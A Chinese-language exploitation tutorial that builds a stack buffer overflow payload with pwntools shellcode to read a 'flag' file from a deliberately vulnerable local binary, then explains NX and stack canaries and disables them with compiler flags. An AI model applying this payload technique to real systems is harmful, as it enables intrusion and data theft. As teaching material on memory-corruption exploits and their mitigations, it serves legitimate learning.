上一篇文章中控制了函数的返回地址,将地址修改为已有的指令地址,但是为了实现任意代码执行,是需要将返回地址修改为我们可以控制的 shellcode 的地址的。

shellcode

在 http://docs.pwntools.com/en/stable/shellcraft/amd64.html#module-pwnlib.shellcraft.amd64.linux 有使用 pwntools 生成 shellcode 的文档。我选择了一个读取文件的 shellcode。

>>> from pwn import *
>>> code = shellcraft.amd64.linux.cat("flag")
>>> asm_code = asm(code, arch="amd64", os="linux")
>>> print code
    /* push 'flag\x00' */
    push 0x67616c66
    /* call open('rsp', 0, 'O_RDONLY') */
    push SYS_open /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* 0 */
    cdq /* rdx=0 */
    syscall
    /* call sendfile(1, 'rax', 0, 2147483647) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push SYS_sendfile /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall

>>> print repr(asm(code))
'hflagj\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
>>> print len(asm_code)
34

因为这段 shellcode 长度只有 34 个字节,完全可以塞入栈中,然后我们使用之前的办法,确定一个返回地址就可以了,这里就是 student 结构体的起始地址。

from pwn import *

code = shellcraft.amd64.linux.cat("flag")
shellcode = asm(code, arch="amd64", os="linux")
data =  "1925\n" + shellcode + "A" * (0x7fffffffe348 - 0x7fffffffe2f0 - len(shellcode)) + p64(0x7fffffffe2f0)

print data

NX 栈不可执行

在 GDB 中运行,会得到一个 SIGSEGV,并不会得到 flag。

gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b04290 (<__write_nocancel+7>:	cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("You Speed One Second Here.\n")
RDI: 0x1
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe350 --> 0x0
RIP: 0x7fffffffe2f0 --> 0x58026a67616c6668
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x0
R11: 0x246
R12: 0x4005c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7fffffffe2ea:	add    bh,bh
   0x7fffffffe2ec:	add    DWORD PTR [rax],eax
   0x7fffffffe2ee:	add    BYTE PTR [rax],al
=> 0x7fffffffe2f0:	push   0x67616c66
   0x7fffffffe2f5:	push   0x2
   0x7fffffffe2f7:	pop    rax
   0x7fffffffe2f8:	mov    rdi,rsp
   0x7fffffffe2fb:	xor    esi,esi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe350 --> 0x0
0008| 0x7fffffffe358 --> 0x7fffffffe428 --> 0x7fffffffe6b4 ("/home/virusdefender/Desktop/pwn/new/vuln")
0016| 0x7fffffffe360 --> 0x1f7ffcca0
0024| 0x7fffffffe368 --> 0x4006b6 (<main>:	push   rbp)
0032| 0x7fffffffe370 --> 0x0
0040| 0x7fffffffe378 --> 0xd7d0880889372de6
0048| 0x7fffffffe380 --> 0x4005c0 (<_start>:	xor    ebp,ebp)
0056| 0x7fffffffe388 --> 0x7fffffffe420 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007fffffffe2f0 in ?? ()

而且可以看到我们的地址计算是没问题的,只是 shellcode 第一个指令就挂掉了。

原因是并不是所有的内存区域都可执行的,使用 vmmap 可以看到,0x00007fffffffe2f0 所在的区域([stack] 区域或者使用 vmmap 0x00007fffffffe2f0)是 rw-p,是没有 x 执行权限的。

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/virusdefender/Desktop/pwn/new/vuln
0x00600000         0x00601000         r--p	/home/virusdefender/Desktop/pwn/new/vuln
0x00601000         0x00602000         rw-p	/home/virusdefender/Desktop/pwn/new/vuln
0x00602000         0x00623000         rw-p	[heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fda000 0x00007ffff7fdd000 rw-p	mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p	mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p	[vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp	[vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]

这其实是 Linux 对漏洞利用的缓解措施中的一种,标记部分内存不可执行,使用 checksec 可以查看漏洞利用缓解措施的状态。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

NX 就是标记内存不可执行,这里是 ENABLED 状态。

CANNARY 是编译器会插入一些标记和检查指令,如果栈溢出的时候把它们覆盖了,那检查的时候就会导致导致进程退出。我们使用了 -fno-stack-protector 禁用了这个特性。

其他的遇到的时候再说。

所以我们应该使用的编译参数是 gcc -g -O0 -fno-stack-protector -z execstack -o vuln main.c,这样才可以正常运行 payload,最后的 SIGSEGV 是因为堆栈不平衡导致的。

这样就可以看到 student 的内存区域是可执行的了。

gdb-peda$ vmmap 0x7fffffffe2f0
Start              End                Perm	Name
0x00007ffffffde000 0x00007ffffffff000 rwxp	[stack]
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
THIS_IS_FLAG

Program received signal SIGSEGV, Segmentation fault.

参考